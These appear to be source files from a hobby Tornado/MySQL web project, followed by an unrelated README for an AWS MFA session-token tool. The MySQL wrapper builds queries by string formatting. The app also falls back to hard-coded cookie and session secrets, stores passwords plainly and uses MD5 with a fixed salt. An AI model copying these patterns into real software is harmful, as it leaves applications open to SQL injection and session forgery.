# 系统日志类型
ErrorLogger : "error",
WarningLogger : "warning",
# 消息日志类型
WebRequestLogger : "webRequest"
}
<file_sep>/Start.py
#-*- coding:UTF-8 -*-
#===================================================
# author : Tmark
# date : 2017-9-15
# module : Start
#===================================================
import os, sys
#====================================================
# 最先的操作将根目录加入sys.path
#====================================================
RootPath_temp = os.path.dirname(__file__)
if RootPath_temp not in sys.path:
sys.path.append(RootPath_temp)
#====================================================
# 主要逻辑从这里开始
#====================================================
from Server import ParseCmd
import Server.Application
import tornado.ioloop
import Log
import Define.LogDefine
# 这个函数执行到最后边就会进入ioloop了, 所以这个函数要放在最后边哦
def tornado_start():
Server.Application.load_all_handlers()
app = Server.Application.make_app()
app.listen(8001)
tornado.ioloop.IOLoop.instance().start()
def main():
# 命令行解析
options, _ = ParseCmd.parse_cmd_line()
for _option, _value in options:
if _option == "--help":
ParseCmd.help_info()
return
# 开启tornado web 服务
tornado_start()
# Log.LogMessage(Define.LogDefine.WebRequestLogger, "new request")
if __name__ == "__main__":
main()
<file_sep>/Log.py
#-*- coding:UTF-8 -*-
#===================================================
# author : Tmark
# date : 2017-9-22
# module : Log
#===================================================
import os
import logging
import logging.config
import Define.LogDefine
import Tool.SystemSafe
import Environment
import KV
__all__ = ["LogMessage"]
#====================================================
# 日志类型错误异常类
#====================================================
class LogTypeException(Exception):
'''
日志类型错误异常类
'''
def __init__(self, logger_flag):
self.logger_flag = logger_flag
def __str__(self):
return "logger_flag(%s) not exist" % self.logger_flag
#====================================================
# 日志引擎类
#====================================================
class LogEngin(object):
'''
日志引擎类
'''
# 读取logging配置
logging.config.fileConfig(Environment.ConfPath + os.sep + KV.get_value("log_config_file", "ha"))
@classmethod
@Tool.SystemSafe.safe_call_decorator
def log_message(cls, logger_flag, message):
if not isinstance(message, basestring):
message = str(message) # 如果不能转换为字符串形式,那么直接报错吧
if logger_flag not in Define.LogDefine.LoggerRoute:
raise LogTypeException(logger_flag)
# logger_flag 为补位的话直接返回
if logger_flag == Define.LogDefine.RootLogger:
return
# get logger
logger_temp = logging.getLogger(Define.LogDefine.LoggerRoute[logger_flag])
# log message
log_func = LevelFuncRoute.get(logger_flag, cls._log_info)
log_func(logger_temp, message)
@classmethod
def _log_error(cls, logger, message):
logger.error(message)
@classmethod
def _log_warning(cls, logger, message):
logger.warning(message)
@classmethod
def _log_info(cls, logger, message):
logger.info(message)
# log等级函数路由, 有一些log需要不同的loggging log level 处理
LevelFuncRoute = {Define.LogDefine.ErrorLogger : LogEngin._log_error,
Define.LogDefine.WarningLogger : LogEngin._log_warning,
}
LogMessage = LogEngin.log_message
<file_sep>/KV.py
#-*- coding:UTF-8 -*-
#===================================================
# author : Tmark
# date : 2017-9-20
# module : KV
#===================================================
import os
import Environment
from Tool import TabFile
KVDict = {}
# 配置存在就使用config配置来更新KVDict
if os.path.isfile(Environment.ConfPath + os.sep + "KV.conf"):
TabFileObj = TabFile.TabFileEngine()
TabFileObj.bind(Environment.ConfPath + os.sep + "KV.conf")
KVDict.update(TabFileObj.read_config())
#====================================================
# 对外访问接口
#====================================================
def get_value(key_name, d = None):
return KVDict.get(key_name, d)<file_sep>/Tool/TabFile.py
#-*- coding:UTF-8 -*-
#===================================================
# author : Tmark
# date : 2017-9-14
# module : Tool.TabFile
#===================================================
#====================================================
# 读取以tab分割的key-value配置文件
#====================================================
import os
from Tool import ServerPrint
class TabFileEngine(object):
def __init__(self):
self.path_name = None
def bind(self, path_name):
if not os.path.isfile(path_name):
ServerPrint.PrintWarning("TabFileEngine, bind绑定路径出现异常,路径不存在!")
return
self.path_name = path_name
def split_config_line(self, line_str):
split_list = line_str.split(" ")
if len(split_list) != 2:
ServerPrint.print_warning("%s tabfile 配置文件的(%s)行内容格式不正确" % (self.path_name, line_str))
return [None, None]
return [split_list[0].strip(), split_list[1].strip()]
def read_config(self):
if not self.path_name:
ServerPrint.PrintWarning("TabFileEngine, path_name没有绑定却要read_config读取操作!")
return
key_value_dict = {}
with open(self.path_name,"r") as fd:
# 判断文件头格式
first_line = fd.readline() # 第一行默认格式key[tab]value来识别文件格式
first_line_split_list = self.split_config_line(first_line)
if first_line_split_list[0] == None or first_line_split_list[0].lower() != "key" or first_line_split_list[1].lower() != "value":
ServerPrint.PrintWarning("%s tabfile 配置文件的第一行不是key[tab]value形式")
return key_value_dict
# 读取文件配置,并加入到key_value_dict中
for line_str in fd:
line_list = self.split_config_line(line_str)
if line_list[0] == None:
continue
if line_list[0] in key_value_dict:
ServerPrint.PrintWarning("%s tabfile 配置文件存在相同的配置行(%s)" % (self.path_name, line_list[0]))
key_value_dict[line_list[0]] = line_list[1]
return key_value_dict
<file_sep>/Tool/ServerPrint.py
#-*- coding:UTF-8 -*-
#===================================================
# author : Tmark
# date : 2017-9-14
# module : Tool.ServerPrint
#===================================================
import Environment
#====================================================
# 系统打印模块
#====================================================
# 列表输出函数,调用str是为了兼容decode函数,有一些是直接输出有__str__函数的对象,调用str是可行的
def print_func(*args):
for arg in args:
# window 控制台中文默认编码GBK,真操蛋,这里默认输入的都是utf-8
if Environment.is_window():
print str(arg).decode("utf-8").encode("gbk"),
else:
print str(arg),
if Environment.is_window(): # window
import ctypes
STD_INPUT_HANDLE = -10
STD_OUTPUT_HANDLE = -11
STD_ERROR_HANDLE = -12
# 字体颜色定义 ,关键在于颜色编码,由2位十六进制组成,分别取0~f,前一位指的是背景色,后一位指的是字体色
# 由于该函数的限制,应该是只有这16种,可以前景色与背景色组合。也可以几种颜色通过或运算组合,组合后还是在这16种颜色中
# Windows CMD命令行 字体颜色定义 text colors
FOREGROUND_BLACK = 0x00 # black.
FOREGROUND_DARKBLUE = 0x01 # dark blue.
FOREGROUND_DARKGREEN = 0x02 # dark green.
FOREGROUND_DARKSKYBLUE = 0x03 # dark skyblue.
FOREGROUND_DARKRED = 0x04 # dark red.
FOREGROUND_DARKPINK = 0x05 # dark pink.
FOREGROUND_DARKYELLOW = 0x06 # dark yellow.
FOREGROUND_DARKWHITE = 0x07 # dark white.
FOREGROUND_DARKGRAY = 0x08 # dark gray.
FOREGROUND_BLUE = 0x09 # blue.
FOREGROUND_GREEN = 0x0a # green.
FOREGROUND_SKYBLUE = 0x0b # skyblue.
FOREGROUND_RED = 0x0c # red.
FOREGROUND_PINK = 0x0d # pink.
FOREGROUND_YELLOW = 0x0e # yellow.
FOREGROUND_WHITE = 0x0f # white.
# Windows CMD命令行 背景颜色定义 background colors
BACKGROUND_BLUE = 0x10 # dark blue.
BACKGROUND_GREEN = 0x20 # dark green.
BACKGROUND_DARKSKYBLUE = 0x30 # dark skyblue.
BACKGROUND_DARKRED = 0x40 # dark red.
BACKGROUND_DARKPINK = 0x50 # dark pink.
BACKGROUND_DARKYELLOW = 0x60 # dark yellow.
BACKGROUND_DARKWHITE = 0x70 # dark white.
BACKGROUND_DARKGRAY = 0x80 # dark gray.
BACKGROUND_BLUE = 0x90 # blue.
BACKGROUND_GREEN = 0xa0 # green.
BACKGROUND_SKYBLUE = 0xb0 # skyblue.
BACKGROUND_RED = 0xc0 # red.
BACKGROUND_PINK = 0xd0 # pink.
BACKGROUND_YELLOW = 0xe0 # yellow.
BACKGROUND_WHITE = 0xf0 # white.
# get handle
std_out_handle = ctypes.windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)
def set_cmd_text_color(color, handle=std_out_handle):
Bool = ctypes.windll.kernel32.SetConsoleTextAttribute(handle, color)
return Bool
#reset white
def resetColor():
set_cmd_text_color(FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE)
def decorate_print_top(fore_color, back_color = None):
def decorate_print(func):
def wrapper(*args, **kargs):
if back_color == None:
set_cmd_text_color(fore_color)
else:
set_cmd_text_color(fore_color | back_color)
func(*args, **kargs)
resetColor()
return wrapper
return decorate_print
@decorate_print_top(FOREGROUND_RED)
def print_error(*args):
print "Error_Exc:",
print_func(*args)
print
@decorate_print_top(FOREGROUND_YELLOW)
def print_warning(*args):
print "Warning_Exc:",
print_func(*args)
print
@decorate_print_top(FOREGROUND_GREEN)
def print_info(*args):
print "Info:",
print_func(*args)
print
elif Environment.is_linux(): # linux
'''
-------------------------------------------
字体色 | 背景色 | 颜色描述
-------------------------------------------
30 | 40 | 黑色
31 | 41 | 红色
32 | 42 | 绿色
33 | 43 | 黃色
34 | 44 | 蓝色
35 | 45 | 紫红色
36 | 46 | 青蓝色
37 | 47 | 白色
-------------------------------------------
'''
# 前景色
FOREGROUND_BLACK = 30
FOREGROUND_RED = 31
FOREGROUND_GREEN = 32
FOREGROUND_YELLOW = 33
FOREGROUND_BLUE = 34
FOREGROUND_FUCHSIA = 35
FOREGROUND_CYAN = 36
FOREGROUND_WHITE = 37
# 背景色
BACKGROUND_BLACK = 40
BACKGROUND_RED = 41
BACKGROUND_GREEN = 42
BACKGROUND_YELLOW = 43
BACKGROUND_BLUE = 44
BACKGROUND_FUCHSIA = 45
BACKGROUND_CYAN = 46
BACKGROUND_WHITE = 47
def reset_color():
print "\033[0m"
def set_color(fore_color, back_color = None):
if back_color == None:
str_temp = "\033[1;%sm" % fore_color
print str_temp,
else:
str_temp = "\033[1;%s;%sm" % (fore_color, back_color)
print str_temp,
def decorate_print_top(fore_color, back_color = None):
def decorate_print(func):
def wrapper(*args, **kargs):
set_color(fore_color, back_color)
func(*args, **kargs)
reset_color()
return wrapper
return decorate_print
@decorate_print_top(FOREGROUND_RED)
def print_error(*args):
print "Error_Exc:",
print_func(*args)
@decorate_print_top(FOREGROUND_YELLOW)
def print_warning(*args):
print "Warning_Exc:",
print_func(*args)
@decorate_print_top(FOREGROUND_GREEN)
def print_info(*args):
print "Info:",
print_func(*args)
else: # other
def print_error(*args):
print "Error_Exc:",
print_func(*args)
print
def print_warning(*args):
print "Warning_Exc:",
print_func(*args)
print
def print_info(*args):
print "Info:",
print_func(*args)
print
#====================================================
# 跨平台普通输出模块,兼容window控制台乱码问题
#====================================================
def print_normal(*args):
print_func(*args)
print
#====================================================
# 汇总接口
#====================================================
__all__ = ["PrintError", "PrintWarning", "PrintInfo", "PrintNormal"]
PrintError = print_error
PrintWarning = print_warning
PrintInfo = print_info
PrintNormal = print_normal
<file_sep>/Tool/Encrypt.py
#-*- coding:UTF-8 -*-
#===================================================
# author : Tmark
# date : 2017-9-27
# module : Tool.Encrypt
#===================================================
import hashlib
import base64
import uuid
import KV
#====================================================
# 加密模块
#====================================================
# md5 加密
def md5(encrypt_str):
# 默认转换为字符串
if not isinstance(encrypt_str, basestring):
encrypt_str = str(encrypt_str)
salt = KV.get_value("salt", "MyWeb")
m = hashlib.md5()
m.update(encrypt_str + salt)
return m.hexdigest()
# sha1 加密
def sha1(encrypt_str):
# 默认转换为字符串
if not isinstance(encrypt_str, basestring):
encrypt_str = str(encrypt_str)
salt = KV.get_value("salt", "MyWeb")
s = hashlib.sha1()
s.update(encrypt_str + salt)
return s.hexdigest()
# 清除base64编码的尾部补充字符 "="
def del_equal(str_temp):
# 最多补充的"="是两个
res_str = str_temp
# 第一次
if res_str[-1] == "=":
res_str = res_str[:-1]
else:
return res_str
# 第二次
if res_str[-1] == "=":
res_str = res_str[:-1]
return res_str
# 补上base64编码的尾部补充字符 "="
def add_equal(str_temp):
# str_temp 需要是
add_num = len(str_temp) % 4
res_str = str_temp + add_num * "="
return res_str
# base64 加密
def base64_encode(encode_str):
# 默认转换为字符串
if not isinstance(encode_str, basestring):
encode_str = str(encode_str)
return del_equal(base64.b64encode(encode_str))
# base64 解码
def base64_decode(decode_str):
if not isinstance(decode_str, basestring):
decode_str = str(decode_str)
decode_str = add_equal(decode_str)
return base64.b64decode(decode_str)
# url_base64 加密
def url_base64_encode(encode_str):
# 默认转换为字符串
if not isinstance(encode_str, basestring):
encode_str = str(encode_str)
return del_equal(base64.urlsafe_b64encode(encode_str))
# url_base64 解码
def url_base64_decode(decode_str):
if not isinstance(decode_str, basestring):
decode_str = str(decode_str)
decode_str = add_equal(decode_str)
return base64.urlsafe_b64decode(decode_str)
#====================================================
# 生成随机数
#====================================================
def uuid_random():
return uuid.uuid4()
if __name__ == "__main__":
# print uuid_random()
# print md5("i am so handsome")
# print sha1("i am so handsome")
# temp_base64 = base64_encode("i\xb7\x1d\xfb\xef\xff")
# print temp_base64
# print base64_decode(temp_base64)
# temp_base64 = url_base64_encode("i\xb7\x1d\xfb\xef\xff")
# print temp_base64
# print url_base64_decode(temp_base64)
print base64_encode(uuid_random().bytes + uuid_random().bytes)
<file_sep>/Define/NormalDefine.py
#-*- coding:UTF-8 -*-
#===================================================
# author : Tmark
# date : 2017-9-19
# module : Define.NormalDefine
#===================================================
# 系统帮助信息定义
HelpInfo = '''Usage: Python Start.py [options]
options:
--help display the infomation.
If you have some questions, please contact us : <<EMAIL>>.
'''<file_sep>/DB/Mysql.py
#-*- coding:UTF-8 -*-
#===================================================
# author : Tmark
# date : 2017-9-25
# module : DB.Mysql
#===================================================
import os
import MySQLdb
import Environment
from Tool import TabFile, ServerPrint, SystemSafe
#====================================================
# 连接配置
#====================================================
ConnectConfig = {}
# 读文件刷新配置
if os.path.isfile(Environment.ConfPath + os.sep + "Mysql.conf"):
TabFileObj = TabFile.TabFileEngine()
TabFileObj.bind(Environment.ConfPath + os.sep + "Mysql.conf")
ConnectConfig.update(TabFileObj.read_config())
# 将配置表是字符串的改成数值
ConnectConfig["port"] = int(ConnectConfig["port"])
def get_connect_info():
return ConnectConfig
#====================================================
# 数据库表字典
#====================================================
table_format = "create table %s (%s)"
TableDict = {"user" : table_format % ("user", "user_id varchar(20) not null primary key, passwd varchar(20) not null, nick_name varchar(20) not null"),
}
#====================================================
# mysql 数据库管理类
#====================================================
class MysqlEngine(object):
def __init__(self, host, port, user, passwd, db, charset = "utf8"):
self.db = MySQLdb.connect(host = host,
port = port,
user = user,
passwd = <PASSWORD>,
db = db,
charset = charset)
# self.db.cursorclass = MySQLdb.cursors.DictCursor # 以({},{})的形式返回
def __del__(self):
'''
对象释放的时候确保数据库连接断开
'''
if self.db is not None:
self.db.close()
self.db = None
def check_and_create_table(self, table_dict):
'''
检查数据库表变更情况
@param table_dict:
'''
cursor = self.db.cursor()
temp_num = cursor.execute("show tables;")
table_list = cursor.fetchmany(temp_num)
for table_name in table_dict.keys():
if (table_name,) not in table_list:
cursor.execute(table_dict[table_name])
# 输出创建新表的消息提示
ServerPrint.PrintInfo(table_dict[table_name])
# 判断数据表创建完成
temp_num = cursor.execute("show tables;")
table_list = cursor.fetchmany(temp_num)
assert len(table_list) == len(table_dict), "数据表创建发生错误"
cursor.close()
self.db.commit()
@SystemSafe.safe_call_decorator
def run_sql(self, sql_str, debug = False):
'''
执行sql命令
'''
cursor = self.db.cursor()
if debug:
ServerPrint.PrintNormal("SQL : " + sql_str)
temp_num = cursor.execute(sql_str)
res_list = cursor.fetchmany(temp_num)
cursor.close()
self.db.commit()
# 增、删、改都是返回空()
return res_list
'''
sql 数据元素详解:
sql_dict = {
sql : string, 直接执行sql语句
debug : (True or False), 执行sql命令前是否打印sql命令
field : string, 生成select filed, 默认field 为 *
table : string, 表名(每一种的数据库操作都需要包含)
prerequisite : string, 生成 where prerequisite
values : string, 生成value(....)
set : string, 生成 set a = 10, b = 100等
sort : order by user_id desc, select 的时候排序(select限定使用)
limit : string, 分页查询(select限定使用)
}
'''
def add_data(self, sql_dict):
'''
增加数据, insert命令
'''
if isinstance(sql_dict, basestring):
sql_dict = {"sql" : sql_dict}
if "sql" in sql_dict:
return self.run_sql(sql_dict["sql"], sql_dict.get("debug", False))
# sql_dict必须包含的字段判断
if "table" not in sql_dict or "values" not in sql_dict:
ServerPrint.PrintWarning("sql_dict不全包含table和values字段:%s" % sql_dict)
return
# 开始构造sql命令
table_name = sql_dict["table"]
values = sql_dict["values"]
sql_str = "INSERT INTO `%s` VALUES (%s)" % (table_name, values)
return self.run_sql(sql_str, sql_dict.get("debug", False))
def delete_data(self, sql_dict):
'''
删除数据, delete命令
'''
if isinstance(sql_dict, basestring):
sql_dict = {"sql" : sql_dict}
if "sql" in sql_dict:
return self.run_sql(sql_dict["sql"], sql_dict.get("debug", False))
# sql_dict必须包含的字段判断
if "table" not in sql_dict:
ServerPrint.PrintWarning("sql_dict不包含table字段:%s" % sql_dict)
return
# 开始构造sql命令
table_name = sql_dict["table"]
prerequisite = sql_dict.get("prerequisite")
sql_str = "DELETE FROM `%s` " % table_name
if prerequisite is not None:
prerequisite = " WHERE (%s)" % prerequisite
sql_str = sql_str + prerequisite
return self.run_sql(sql_str, sql_dict.get("debug", False))
def query_data(self, sql_dict):
'''
查找数据
'''
if isinstance(sql_dict, basestring):
sql_dict = {"sql" : sql_dict}
if "sql" in sql_dict:
return self.run_sql(sql_dict["sql"], sql_dict.get("debug", False))
# sql_dict必须包含的字段判断
if "table" not in sql_dict:
ServerPrint.PrintWarning("sql_dict不包含table字段:%s" % sql_dict)
return
# 开始构造sql命令
table_name = sql_dict["table"]
field_str = sql_dict.get("field", "*")
prerequisite = " WHERE (%s) " % sql_dict.get("prerequisite","") if sql_dict.get("prerequisite","") else ""
sort_str = sql_dict.get("sort", "")
limit = "limit %s" % sql_dict.get("limit","") if sql_dict.get("limit","") else ""
sql_str = "SELECT %s FROM `%s` %s %s %s" % (field_str, table_name, prerequisite, sort_str, limit)
return self.run_sql(sql_str, sql_dict.get("debug", False))
def modify_data(self, sql_dict):
'''
修改数据, update命令
'''
if isinstance(sql_dict, basestring):
sql_dict = {"sql" : sql_dict}
if "sql" in sql_dict:
return self.run_sql(sql_dict["sql"], sql_dict.get("debug", False))
# sql_dict必须包含的字段判断
if "table" not in sql_dict or "set" not in sql_dict:
ServerPrint.PrintWarning("sql_dict不全包含table和set字段:%s" % sql_dict)
return
# 开始构造sql命令
table_name = sql_dict["table"]
set_str = sql_dict["set"]
prerequisite = sql_dict.get("prerequisite")
sql_str = "UPDATE `%s` SET %s " % (table_name, set_str)
if prerequisite is not None:
prerequisite = " WHERE (%s)" % prerequisite
sql_str = sql_str + prerequisite
return self.run_sql(sql_str, sql_dict.get("debug", False))
if __name__ == "__main__":
db_obj = MysqlEngine(**get_connect_info())
db_obj.check_and_create_table(TableDict)
# print db_obj.run_sql("INSERT INTO `user` (`user_id`, `passwd`, `nick_name`) VALUES ('3', '2', '2')", True)
# print db_obj.add_data({"values" : "'5', '1', '1'", "table" : "user", "debug" : True})
# print db_obj.delete_data({"table" : "user", "debug" : True, "prerequisite" : "user_id = '2'"})
# print db_obj.modify_data({"table" : "user", "debug" : True, "prerequisite" : "user_id = '2'", "set" : "passwd = '<PASSWORD>', nick_name = 'tmark'"})
print db_obj.query_data({"table" : "user", "debug" : True, "field" : "user_id, nick_name", "sort" : "order by user_id desc", "limit" : "0,5"})
<file_sep>/Tool/LoadModule.py
#-*- coding:UTF-8 -*-
#===================================================
# author : Tmark
# date : 2017-9-19
# module : Tool.LoadModule
#===================================================
import os
import sys
import traceback
def get_all_module(root_floder, suffixs = ["py", "pyc", "pyo"]):
'''
@param root_floder:根目录
@param suffixs:文件后缀
@return: 模块名的集合
'''
# 修正suffixs查找
if not isinstance(suffixs, set):
suffixs = set(suffixs)
# 非模块名路径长度
unmodule_name_path_len = len(root_floder)
# 结果集
result = set()
# 遍历所有的文件信息
for dirpath, _, filenames in os.walk(root_floder):
# 遍历所有的文件
for fi in filenames:
# __init__文件,导入包
if fi == "__init__.py":
fpns = dirpath
# 构造文件路径
else:
fp = dirpath + os.sep + fi
# 解析文件后缀
pos = fp.rfind('.')
if pos == -1:
continue
fpns, su = fp[:pos], fp[pos + 1:]
# 不是模块文件,忽视之
if su not in suffixs:
continue
# 将无后缀的文件路径变化为模块名
module_name_temp = fpns[unmodule_name_path_len:]
if module_name_temp.startswith(os.sep):
module_name_temp = module_name_temp[1:]
module_name = module_name_temp.replace(os.sep, '.')
# 加入结果集
if module_name: result.add(module_name)
# 按模块名排序
result = list(result)
result.sort()
return result
def load_modules(module_names):
'''
预导入模块,并设置标识位
@param module_names:模块名集合
'''
SM = sys.modules
for module_name in module_names:
try:
# 导入模块
__import__(module_name)
# 获取模块对象
module = SM[module_name]
# 标记该模块被预导入
setattr(module, "__doc__", True)
except :
traceback.print_exc()
def add_prefix(module_names, prefix):
list_len = len(module_names)
for i in range(list_len):
# 如果module_names里边的元素不是字符串,那就让其有问题输出出错信息吧
module_names[i] = prefix + module_names[i]
if __name__ == "__main__":
import Environment
module_names = get_all_module(Environment.RootPath)
print module_names
load_modules(module_names)
<file_sep>/Tool/TimeMgr.py
#-*- coding:UTF-8 -*-
#===================================================
# author : Tmark
# date : 2017-10-9
# module : Tool.TimeMgr
#===================================================
import time
def get_local_time(t = None, time_format = "%a %H:%M:%S %Y-%m-%d"):
try:
if t is None:
t = time.localtime()
return time.strftime(time_format, t)
except:
return None<file_sep>/Tool/SystemSafe.py
#-*- coding:UTF-8 -*-
#===================================================
# author : Tmark
# date : 2017-9-15
# module : Tool.SystemSafe
#===================================================
import traceback
from Tool import ServerPrint
# 安全调用, 捕捉异常避免系统崩溃
def safe_call(func, *args, **kargs):
try:
return func(*args, **kargs)
except Exception, e:
traceback.print_exc()
ServerPrint.PrintError(e)
# safe_call 装饰器
def safe_call_decorator(func):
def wrapper(*args, **kargs):
try:
return func(*args, **kargs)
except Exception, e:
traceback.print_exc()
ServerPrint.PrintError(e)
return wrapper<file_sep>/Server/Handler/Index.py
#-*- coding:UTF-8 -*-
#===================================================
# author : Tmark
# date : 2017-9-19
# module : Server.Handler.Index
#===================================================
from Server.Handler import HandlerBase
from Server import Application
from Tool import TimeMgr
#====================================================
# 主页handler
#====================================================
class IndexHandler(HandlerBase.BaseHandler):
def get(self):
self.session["times"] = (self.session["times"] + 1) if self.session.get("times") else 1
self.session["last_time"] = TimeMgr.get_local_time()
# 保存session
self.save_session()
self.write("<h1>这是一个主页。</h1>")
self.write("<p>这是第 <b>%s</b> 次访问, 上一次访问时间<b>%s</b></p>" % (self.session["times"], self.session["last_time"]))
#class Error404Handler(HandlerBase.BaseHandler):
# def get(self, path):
# self.write("<h1>404 not found.</h1>")
# self.write("%s 页面还没开发出来" % path)
# 避免reload的时候再次执行(现在还没实现reload,reload使得程序能够实时更新代码)
if __doc__ is not True:
Application.Application.append_route((r"/", IndexHandler))
#Application.Application.append_route((r"/(.*)", Error404Handler))<file_sep>/README.md
# MyWEB
我的个人主页, 这是一个python web项目
服务器编程语言 :python
web框架 :tornado
反向代理服务器:nginx
模板引擎:mako (or tornado template)
数据库:mysql、Redis
<file_sep>/Server/Application.py
#-*- coding:UTF-8 -*-
#===================================================
# author : Tmark
# date : 2017-9-19
# module : Server.Application
#===================================================
import tornado.web
import Environment
import KV
from Tool import LoadModule,ServerPrint
from Server import Session
#====================================================
# Application应用类
#====================================================
class Application(tornado.web.Application):
handlers = []
def __init__(self):
settings = {
"cookie_secret" : KV.get_value("cookie_secret", "MyWeb_cookie_secret"),
"session_secret" : KV.get_value("session_secret", "MyWeb_session_secret"),
"session_timeout" : KV.get_value("session_timeout", 60),
}
tornado.web.Application.__init__(self, handlers=self.handlers, **settings)
self.session_manager = Session.SessionManager(settings["session_secret"], settings["session_timeout"])
# settings = dict(
# cookie_secret = "e446976943b4e8442f099fed1f3fea28462d5832f483a0ed9a3d5d3859f==78d",
# session_secret = "<KEY>",
# session_timeout = 60,
# template_path = os.path.join(os.path.dirname(__file__), "templates"),
# static_path = os.path.join(os.path.dirname(__file__), "static"),
# xsrf_cookies = True,
# login_url = "/login",
# )
@classmethod
def append_route(cls, route_tuple):
if not isinstance(route_tuple[0], basestring):
ServerPrint.PrintWarning("append_route 中 route_tuple(%s, %s)格式异常" % (route_tuple[0], route_tuple[1]))
return
if not hasattr(route_tuple[1], "handler_flag"):
ServerPrint.PrintWarning("append_route 中 route_tuple(%s, %s)格式异常,Handler处理类不是BaseHandler类的子类" % (route_tuple[0], route_tuple[1]))
return
if route_tuple in cls.handlers:
ServerPrint.PrintWarning("append_route 中 route_tuple(%s, %s)重复append" % (route_tuple[0], route_tuple[1]))
return
cls.handlers.append(route_tuple)
@classmethod
def remove_route(cls, route_tuple):
if route_tuple not in cls.handlers:
return
cls.handlers.remove(route_tuple)
# 注意先要调用load_all_handlers来构造handlers再调用这个函数来产生Application对象
def make_app():
print Application.handlers
return Application()
#====================================================
# 导入所有handler处理类,并构造handlers列表(为了避免import循环有可能导致一些列傻逼问题,这里定义为函数直接让这个模块导入完成)
#====================================================
# 这个函数其实可以设置为直接执行的语句也没问题,因为Handler里边的模块是调用Application类,
# 就算Application模块没有导入完成,但是Application.Application 已经是可以使用了,
# 所以这个时候import循环也不会出现问题(python是可以循环import的,但是需要注意其import顺序就行)
def load_all_handlers():
module_names = LoadModule.get_all_module(Environment.HandlerPath)
LoadModule.add_prefix(module_names, "Server.Handler.")
LoadModule.load_modules(module_names)
| 438613f2b1f37a0bb600bf15b4080920ba8c8905 | [
"Markdown",
"Python"
] | 20 | Python | MyWebOrgan/MyWEB | 3013605f71e4f64b5d7aad6c824ebcf3f01b03fa | 950e6ade16846abcd890fd53d3d0429e7c5700aa |
refs/heads/main | <file_sep>const digitalElement = document.querySelector('.digital');
const seconds = document.querySelector('.p_s');
const minutes = document.querySelector('.p_m');
const hour = document.querySelector('.p_h');
function updateClock(){
const newDate = new Date(); //pegando a data,hora,minutos etc atuais
const newSeconds = newDate.getSeconds();
const newMinutes = newDate.getMinutes();
const newHour = newDate.getHours();
digitalElement.innerHTML = `${addZero(newHour)}:${addZero(newMinutes)}:${addZero(newSeconds)}`; // atribuindo ao html essas informações
//relogio analogico
let sDegrees = ((360 / 60) * newSeconds) - 90;
let mDegrees = ((360 / 60) * newMinutes) - 90;
let hDegrees = ((360 / 12) * newHour) - 90;
seconds.style.transform = `rotate(${sDegrees}deg)`;
minutes.style.transform = `rotate(${mDegrees}deg)`;
hour.style.transform = `rotate(${hDegrees}deg)`;
}
function addZero(time){
return time < 10 ? `0${time}` : time; //ternario para adicionar o zero
}
setInterval(updateClock, 1000);
updateClock();
| a9baed9846f0228786430dcdd599f4299f513e22 | [
"JavaScript"
] | 1 | JavaScript | Grazinascito/7-Projetos-em-7-Dias---b7web | a959d9e6f57fe0b02572e487e4b996840044410c | b6c426ab90387ba33cb34618068d8bcbc27b57ab |
refs/heads/master | <file_sep>## Functions to save time for calculating the inverse of a given matrix
# This function is inspired by the example given in the R Course
# Benerink 2015
## makeCacheMatrix
# Function to create a list with functions to:
# 1.set the value of the matrix
# 2.get the value of the matrix
# 3.set the value of the inverse matrix
# 4.get the value of the inverse matrix
makeCacheMatrix <- function(x = matrix()) {
Inverse <- NULL
set <- function(y) {
x <<- y
Inverse <<- NULL
}
get <- function() x
setInverse <- function(solve) Inverse <<- solve
getInverse <- function() Inverse
list(set = set, get = get,
setInverse = setInverse,
getInverse = getInverse)
}
## cacheSolve
# Function to calculate the inverse matrix of matrix 'x' obtained in the makeCacheMatrix function.
# It first checks if the inverse matrix already exists in the cache. If so, this function skips the
# calculation to save time.
cacheSolve <- function(x, ...) {
Inverse <- x$getInverse()
if(!is.null(Inverse)) {
message("getting cached data")
return(Inverse)
}
data <- x$get()
Inverse <- solve(data, ...)
x$setInverse(Inverse)
Inverse
}
| 8802ca74818b1563c2efcd8b03134ccf11a21060 | [
"R"
] | 1 | R | nbenerink/ProgrammingAssignment2 | a6aae9df8e3623a6470d24611442b1b9c923f79b | b5362547e2f36089166291912fbeb1ba9afcaeac |
refs/heads/master | <repo_name>hpearce-ops/2FA-CLI-Tokens<file_sep>/README.md
# 2FA-CLI-Tokens
Provide session tokens for your AWS CLI. Works well with [this IAM Policy](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_examples_aws_my-sec-creds-self-manage.html).
## Getting Started
Instrucutions below are for Mac OSX.
### Prerequistes
#### Python
Install Python 3.7 using Homebrew.
```
brew install python
```
Create an alias so that you can use Python 3.7 when calling ```python```.
```
vi ~/.bash_profile
```
Add the following to ```.bash_profile```:
```
alias python=python3.7
```
Then to save your changes:
```
source ~/.bash_profile
```
You can check to make sure your alias is working by checking the version of Python.
```
python -V
```
If you have output similar to the one below, you're all set!
```
Python 3.7.4
```
#### Dependencies
Execute the following command to make sure you have the required package.
```
pip install boto3
```
#### Code
Download [aws2fa](https://github.com/hpearce-ops/2FA-CLI-Tokens/blob/master/aws2fa) and move it to the bin directory.
```
mv aws2fa /usr/local/bin/
```
Now you should be able to execute the script by entering:
```
aws2fa
```
### First Time Use
After entering the ```aws2fa``` command, you will need to input some user information. The first request will be:
```
Please enter the profile you would like to use:
```
Here, you will input a profile found in ```~/.aws/credentials/```.
##### NOTE:
If this is your first time executing the script, please enter ```default``` to use the key pair associated with your AWS user.
When you enter ```default```, you will then see this output:
```
You chose 'default' as your profile name. Do you need to configure this app?
y/n:
```
If this is your first time using the script, enter ```y```, else enter ```n```. If you enter ```y```, you will be prompted to enter the name of your new profile:
```
Please enter the name of your new profile:
```
This will be the new profile in your ```~/.aws/credentials/``` file for your AWS user's keys. This allows the session token and keys to be placed under ```[default]```. This means it isn't necessary to execute all AWS commands with ```--profile``` if you want to use the session keys.
Next you will enter the ID number of the MFA device associated with your user and a token code from your MFA device.
```
Please enter the ID number for the MFA device associated with your user: arn:aws:iam::*******:mfa/exampleUser
Please enter a token code provided by your MFA device: *****
```
After this, the script will print out session information about the keys you created. You can then check ```~/.aws/credentials/``` to see if the script made the correct changes. Your aws credentials file should look someting like this:
```
[default]
aws_access_key_id = *****************
aws_secret_access_key = *****************
aws_session_token = *****************
[exampleUser]
aws_access_key_id = *****************
aws_secret_access_key = *****************
```
Additionally, you can run a command like ```aws s3 ls``` to see if the session keys are working.
### General Usage
